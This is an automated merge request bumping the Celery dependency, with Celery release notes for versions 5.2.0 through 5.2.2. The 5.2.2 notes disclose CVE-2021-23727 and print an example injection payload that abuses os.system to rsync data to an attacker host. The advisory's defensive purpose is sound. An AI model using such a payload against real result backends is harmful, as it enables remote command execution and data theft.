Update dependency Celery to >=5.0,<5.3

This MR contains the following updates:

Package	Type	Update	Change
Celery (source)	dependencies	minor	>=5.0,<5.2 -> >=5.0,<5.3

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Release Notes

celery/celery

v5.2.2

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:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

• Various documentation fixes.

• Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

  When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #​4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data attacker@192.168.56.100:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so:

  .. code-block:: python

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data attacker@192.168.56.100:~/data"
    }

  According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

.. _version-5.2.1:

v5.2.1

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:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

• Fix rstrip usage on bytes instance in ProxyLogger.
• Pass logfile to ExecStop in celery.service example systemd file.
• fix: reduce latency of AsyncResult.get under gevent (#​7052)
• Limit redis version: <4.0.0.
• Bump min kombu version to 5.2.2.
• Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
• Remove dependency to case (#​7077).
• fix: task expiration is timezone aware if needed (#​7065).
• Initial testing of pypy-3.8 beta to CI.
• Docs, CI & tests cleanups.

.. _version-5.2.0:

v5.2.0

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:release-date: 2021-11-08 7.15 A.M UTC+6:00 :release-by: Asif Saif Uddin

• Prevent from subscribing to empty channels (#​7040)
• fix register_task method.
• Fire task failure signal on final reject (#​6980)
• Limit pymongo version: <3.12.1 (#​7041)
• Bump min kombu version to 5.2.1

.. _version-5.2.0rc2:

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